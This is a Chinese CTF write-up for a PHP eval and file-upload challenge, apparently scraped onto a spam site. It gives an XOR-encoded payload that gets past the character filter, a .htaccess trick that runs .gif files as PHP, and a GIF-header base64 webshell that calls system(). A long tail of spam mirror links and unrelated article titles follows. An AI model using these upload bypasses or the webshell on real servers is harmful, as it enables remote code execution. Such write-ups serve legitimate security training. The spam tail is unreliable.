当前位置: 首页 > news >正文

建永久网站雪锐琴网站建设

建永久网站,雪锐琴网站建设,本地进wordpress后台,中关村手机排行榜进入题目页面如下 给出源码开始代码审计 ?php // 定义一个名为 get_the_flag 的函数#xff0c;该函数主要处理文件上传逻辑 function get_the_flag(){// 构造用户上传文件的目录#xff0c;目录名是 upload/tmp_ 加上客户端 IP 地址的 MD5 哈希值$userdir…进入题目页面如下 给出源码开始代码审计 ?php // 定义一个名为 get_the_flag 的函数该函数主要处理文件上传逻辑 function get_the_flag(){// 构造用户上传文件的目录目录名是 upload/tmp_ 加上客户端 IP 地址的 MD5 哈希值$userdir upload/tmp_.md5($_SERVER[REMOTE_ADDR]);// 检查该目录是否存在如果不存在则创建该目录if(!file_exists($userdir)){mkdir($userdir);}// 检查是否有文件上传if(!empty($_FILES[file])){// 获取上传文件的临时文件名$tmp_name $_FILES[file][tmp_name];// 获取上传文件的原始文件名$name $_FILES[file][name];// 提取文件扩展名$extension substr($name, strrpos($name,.)1);// 使用正则表达式检查文件扩展名是否包含 ph不区分大小写如果包含则终止程序并输出 ^_^if(preg_match(/ph/i,$extension)) die(^_^); // 读取上传文件的内容检查是否包含 ?, 如果包含则终止程序并输出 ^_^if(mb_strpos(file_get_contents($tmp_name), ?)!False) die(^_^);// 检查上传文件是否为有效的图像文件如果不是则终止程序并输出 ^_^if(!exif_imagetype($tmp_name)) die(^_^); // 构造上传文件的最终保存路径$path $userdir./.$name;// 将上传的临时文件移动到最终保存路径使用 符号抑制可能的错误信息move_uploaded_file($tmp_name, $path);// 输出文件保存的路径print_r($path);} }// 从 GET 请求中获取名为 _ 的参数值并使用 符号抑制可能的错误信息 $hhh $_GET[_];// 如果没有获取到 _ 参数的值则高亮显示当前 PHP 文件的源代码 if (!$hhh){highlight_file(__FILE__); }// 检查 _ 参数值的长度是否超过 18 个字符如果超过则终止程序并输出提示信息 if(strlen($hhh)18){die(One inch long, one inch strong!); }// 使用正则表达式检查 _ 参数值是否包含特定字符包括 ASCII 码 0 - 127 之间的部分字符如果包含则终止程序并输出提示信息 if ( preg_match(/[\x00- 0-9A-Za-z\\~_.,|[\x7F]/i, $hhh) )die(Try something else!);// 获取 _ 参数值中出现的所有不同字符并统计字符种类 $character_type count_chars($hhh, 3); // 检查不同字符的数量是否超过 12 个如果超过则终止程序并输出提示信息 if(strlen($character_type)12) die(Almost there!);// 使用 eval 函数执行 _ 参数的值作为 PHP 代码 eval($hhh); ? 代码使用 eval($hhh); 执行用户通过 GET 请求传入的 _ 参数的值 对参数的过滤有长度和字符种类的限制 文件上传过滤 扩展名过滤通过正则表达式 preg_match(/ph/i,$extension) 检查文件扩展名是否包含 ph防止常见的 PHP 文件上传。 内容过滤使用 mb_strpos(file_get_contents($tmp_name), ?) 检查文件内容是否包含 ?, 防止包含 PHP 代码的文件上传。 图像类型检查使用 exif_imagetype($tmp_name) 检查文件是否为有效的图像文件限制非图像文件上传。 代码开始定义了一个函数get_the_flag(),应该是用来处理文件上传的 注释说webadmin每20分钟会删除上传的文件,说明需要利用文件上传后立即执行 函数中创建了一个用户目录,基于用户IP的MD5值。 代码处理GET参数,赋值给Shhh。如果没有传入这个参数,就显示源代码。 如果传入的话,需要满足多个条件: 1.长度不能超过18个字符。 2.通过正则表达式过滤:匹配的字符范围包括\x00到空格(ASCCil 0-32), 0-9, AZa-z,以及一些特殊符号如~~,|,还有\x7F。正则表达式用了li表示不区分大小 写。如果匹配到这些字符中的任何一个,就会拒绝。 3.字符类型(不同字符的数量)不能超过12种,否则拒绝。 通过eval($hhh)执行传入的代码。 代码注入的漏洞,需要构造一个payload满足有限制条件。 分析如何绕过这些过滤: 正则表达式排除了很多字符。注意正则中的模式是\x00-0-9A-Za-z~_.,|[x7F],包括了大部分可见字符和一些控制字符 正则表达式中的模式可能有一些特殊字符没有被过滤,比如^或{},或者其他Unicode字符 查看正则表达式模式:它是否允许使用$符号?在正则中,「x00-表示从x00到空格(即ASCII 0到32),然后是0-9,A-Za-z,以及那些特殊符号,比如,在ASCII表中,S的ASCII码是36,而0-9的ASCII是4857,所以$不在这个范围内。 所以,正则中的模式是否允许S符号比如,表达式中的0\x00- 0-9A-Zaz...],这里的\x00-可能是指从\x00到空格(ASCII 32),因此,美元符号$ (ASCI36)不在这个范围。所以,可以在payload中使用$符号。 构造$_GET[]();的格式来调用get_the_flag函数 payload ?_${%80%80%80%80^%df%c7%c5%d4}{%80}();%80phpinfo ?_...    $_GET[_] ...    主注入点触发动态函数调用 %80%80%80%80^%df%c7%c5%d4    异或运算生成关键字符串    动态构造 _GET {%80}    $_GET[%80]    提取参数值作为函数名 %80phpinfo    $_GET[%80] phpinfo    注入要执行的函数名 字符集绕过 使用 %80 等高位 ASCII 字符非字母/数字绕过常规正则过滤 preg_match(/[0-9a-z]/i, $input) // 此类过滤失效 长度混淆 操作将关键字符串隐藏在不可见字符中增加静态分析的难度 漏洞类型 远程代码执行 (RCE) 存在动态函数调用如 $var() 利用 .htaccess 文件和文件幻术绕过代码中对文件上传的严格检查进而执行任意代码获取 flag。具体步骤为上传特制的 .htaccess 文件利用 php_value auto_append_file 和 AddType 指令配合 php://filter 伪协议绕过对 ? 的检测同时为上传的 PHP 代码文件添加 GIF 文件头幻术绕过 exif_imagetype 检测。 .htaccess 文件是 Apache 服务器的配置文件可用于在目录级别覆盖全局服务器配置。我们可以利用它来改变 PHP 解析文件的方式。 # 指定所有以 .gif 结尾的文件都按 PHP 脚本解析 AddType application/x-httpd-php .gif # 自动在每个 PHP 脚本执行前包含指定的文件这里使用 php://filter 伪协议对 base64 编码的内容进行解码并包含 php_value auto_append_file php://filter/convert.base64-decode/resourceshell.gif上述 .htaccess 文件 AddType application/x-httpd-php .gif将 .gif 后缀的文件视为 PHP 文件进行解析。 php_value auto_append_file php://filter/convert.base64-decode/resourceshell.gif使用 php://filter 伪协议对 shell.gif 文件内容进行 Base64 解码后包含到每个 PHP 脚本中执行。 2. 构造包含 PHP 代码的 shell.gif 文件 为了绕过 exif_imagetype 对文件内容的检测我们在文件开头添加 GIF 文件头幻术GIF89a并将 PHP 代码进行 Base64 编码。 ?php // 要执行的 PHP 代码这里以执行系统命令 cat flag.txt 为例 $php_code ?php system(cat flag.txt); ?; // 添加 GIF 文件头幻术 $shell_content GIF89a . base64_encode($php_code); // 将内容写入 shell.gif 文件 file_put_contents(shell.gif, $shell_content); ?上述代码生成了一个 shell.gif 文件其内容以 GIF 文件头幻术开头后面是经过 Base64 编码的 PHP 代码。 上传文件 将构造好的 .htaccess 文件和 shell.gif 文件上传到服务器。根据代码中的逻辑上传目录为 upload/tmp_ 加上客户端 IP 地址的 MD5 哈希值。可以使用以下简单的 HTML 表单进行文件上传 !DOCTYPE html html langen headmeta charsetUTF-8titleFile Upload/title /head bodyform actionhttp://9d66bcb5-686a-4e45-b6b0-9c1d3174fe9e.node5.buuoj.cn:81/ methodpost enctypemultipart/form-datainput typefile namefile /input typesubmit valueUpload //form /body /html将 your_php_file.php 替换为实际处理文件上传的 PHP 文件路径。 4. 触发代码执行 上传成功后访问上传目录下的任意 .gif 文件实际上会被当作 PHP 文件执行服务器会根据 .htaccess 文件的配置对 shell.gif 文件内容进行 Base64 解码并执行其中的 PHP 代码从而执行 cat flag.txt 命令用蚁剑连接获取 flag。
文章转载自:
http://www.morning.pybqq.cn.gov.cn.pybqq.cn
http://www.morning.tldfp.cn.gov.cn.tldfp.cn
http://www.morning.lwbhw.cn.gov.cn.lwbhw.cn
http://www.morning.hysqx.cn.gov.cn.hysqx.cn
http://www.morning.kpfds.cn.gov.cn.kpfds.cn
http://www.morning.gcfg.cn.gov.cn.gcfg.cn
http://www.morning.mmxt.cn.gov.cn.mmxt.cn
http://www.morning.sbqrm.cn.gov.cn.sbqrm.cn
http://www.morning.thntp.cn.gov.cn.thntp.cn
http://www.morning.wffxr.cn.gov.cn.wffxr.cn
http://www.morning.gwsfq.cn.gov.cn.gwsfq.cn
http://www.morning.rczrq.cn.gov.cn.rczrq.cn
http://www.morning.banzou2034.cn.gov.cn.banzou2034.cn
http://www.morning.fkffr.cn.gov.cn.fkffr.cn
http://www.morning.hclplus.com.gov.cn.hclplus.com
http://www.morning.plhhd.cn.gov.cn.plhhd.cn
http://www.morning.hqrkq.cn.gov.cn.hqrkq.cn
http://www.morning.spwln.cn.gov.cn.spwln.cn
http://www.morning.sgqw.cn.gov.cn.sgqw.cn
http://www.morning.bbmx.cn.gov.cn.bbmx.cn
http://www.morning.wpspf.cn.gov.cn.wpspf.cn
http://www.morning.mwcqz.cn.gov.cn.mwcqz.cn
http://www.morning.tzkrh.cn.gov.cn.tzkrh.cn
http://www.morning.ywzqk.cn.gov.cn.ywzqk.cn
http://www.morning.jfcbz.cn.gov.cn.jfcbz.cn
http://www.morning.bfysg.cn.gov.cn.bfysg.cn
http://www.morning.lsnhs.cn.gov.cn.lsnhs.cn
http://www.morning.jsphr.cn.gov.cn.jsphr.cn
http://www.morning.yccnj.cn.gov.cn.yccnj.cn
http://www.morning.qphgp.cn.gov.cn.qphgp.cn
http://www.morning.rfhm.cn.gov.cn.rfhm.cn
http://www.morning.nbybb.cn.gov.cn.nbybb.cn
http://www.morning.ynrzf.cn.gov.cn.ynrzf.cn
http://www.morning.fykqh.cn.gov.cn.fykqh.cn
http://www.morning.dndjx.cn.gov.cn.dndjx.cn
http://www.morning.rwzkp.cn.gov.cn.rwzkp.cn
http://www.morning.dbqcw.com.gov.cn.dbqcw.com
http://www.morning.pbmkh.cn.gov.cn.pbmkh.cn
http://www.morning.nxrgl.cn.gov.cn.nxrgl.cn
http://www.morning.jybj.cn.gov.cn.jybj.cn
http://www.morning.yswxq.cn.gov.cn.yswxq.cn
http://www.morning.kongpie.com.gov.cn.kongpie.com
http://www.morning.rwhlf.cn.gov.cn.rwhlf.cn
http://www.morning.hdtcj.cn.gov.cn.hdtcj.cn
http://www.morning.lzqtn.cn.gov.cn.lzqtn.cn
http://www.morning.vvdifactory.com.gov.cn.vvdifactory.com
http://www.morning.kyfnh.cn.gov.cn.kyfnh.cn
http://www.morning.rsnd.cn.gov.cn.rsnd.cn
http://www.morning.sfswj.cn.gov.cn.sfswj.cn
http://www.morning.qsszq.cn.gov.cn.qsszq.cn
http://www.morning.amonr.com.gov.cn.amonr.com
http://www.morning.bhpjc.cn.gov.cn.bhpjc.cn
http://www.morning.mlcnh.cn.gov.cn.mlcnh.cn
http://www.morning.mcjxq.cn.gov.cn.mcjxq.cn
http://www.morning.trwkz.cn.gov.cn.trwkz.cn
http://www.morning.yrlfy.cn.gov.cn.yrlfy.cn
http://www.morning.zymgs.cn.gov.cn.zymgs.cn
http://www.morning.pqrhb.cn.gov.cn.pqrhb.cn
http://www.morning.fqqcd.cn.gov.cn.fqqcd.cn
http://www.morning.nkbfc.cn.gov.cn.nkbfc.cn
http://www.morning.tfwsk.cn.gov.cn.tfwsk.cn
http://www.morning.bjndc.com.gov.cn.bjndc.com
http://www.morning.rlxnc.cn.gov.cn.rlxnc.cn
http://www.morning.cwwbm.cn.gov.cn.cwwbm.cn
http://www.morning.wpmlp.cn.gov.cn.wpmlp.cn
http://www.morning.jmmz.cn.gov.cn.jmmz.cn
http://www.morning.bykqg.cn.gov.cn.bykqg.cn
http://www.morning.ypcd.cn.gov.cn.ypcd.cn
http://www.morning.ywqw.cn.gov.cn.ywqw.cn
http://www.morning.bpmz.cn.gov.cn.bpmz.cn
http://www.morning.kltmt.cn.gov.cn.kltmt.cn
http://www.morning.glnxd.cn.gov.cn.glnxd.cn
http://www.morning.vjwkb.cn.gov.cn.vjwkb.cn
http://www.morning.mxnrl.cn.gov.cn.mxnrl.cn
http://www.morning.njstzsh.com.gov.cn.njstzsh.com
http://www.morning.kbdjn.cn.gov.cn.kbdjn.cn
http://www.morning.qqbjt.cn.gov.cn.qqbjt.cn
http://www.morning.cnwpb.cn.gov.cn.cnwpb.cn
http://www.morning.ggxbyhk.cn.gov.cn.ggxbyhk.cn
http://www.morning.xbxks.cn.gov.cn.xbxks.cn
http://www.tj-hxxt.cn/news/242267.html

相关文章:

  • 网站下载链接怎么做文化产品电商网站建设规划
  • 易语言可以做网站网站欢迎页模板
  • 宠物店网站开发文档撰写南宁做网站
  • 网站使用帮助内容网站建设哪家好采用苏州久远网络
  • 网站页面怎么做地图重庆建站公司费用
  • asp网站管理系统源码公司创建一个网站多少钱
  • 顺德手机网站设计咨询博物馆门户网站建设优势
  • 企业电子商务网站建设规划方案怎么新建自己的网站
  • 现在建设网站都用什么软件建设维护网站 未签订合同
  • 山西住房和城乡建设厅网站wordpress标签logo
  • wejianzhan是什么网站手机wap网站 php
  • 专业3合1网站建设公司成都房价2020最新价格
  • 智慧城市建设评价网站百度关键词搜索次数
  • 连云港网站建设wangcms wordpress
  • 昆山正规网站建设空壳网站
  • 私人路由器做网站net网站开发框架
  • 精益生产网站开发方案学习吧网站
  • 用专业的网络技术制作网站想代理产品去哪里找
  • 由一个网页建成的网站metasploit wordpress
  • 外贸网站建设公司报价wordpress视频设置
  • 云奇网站建设wordpress comment_author_link
  • 网站 关键字 标签自动化设备技术支持东莞网站建设
  • 把网站扒下来以后怎么做个人网页介绍
  • asp.net 网站 项目 区别网站建设公司 温州
  • 网站登录系统源码对网站建设的评价
  • 中小企业网站功能网站建设费用计算
  • 商务网站建设需要多少钱餐饮网站建设目标
  • 连云港网站设计中国商业网址
  • 大连做网站建设域名网址区别
  • 电影网站标题怎么做流量多微信平台的微网站怎么做的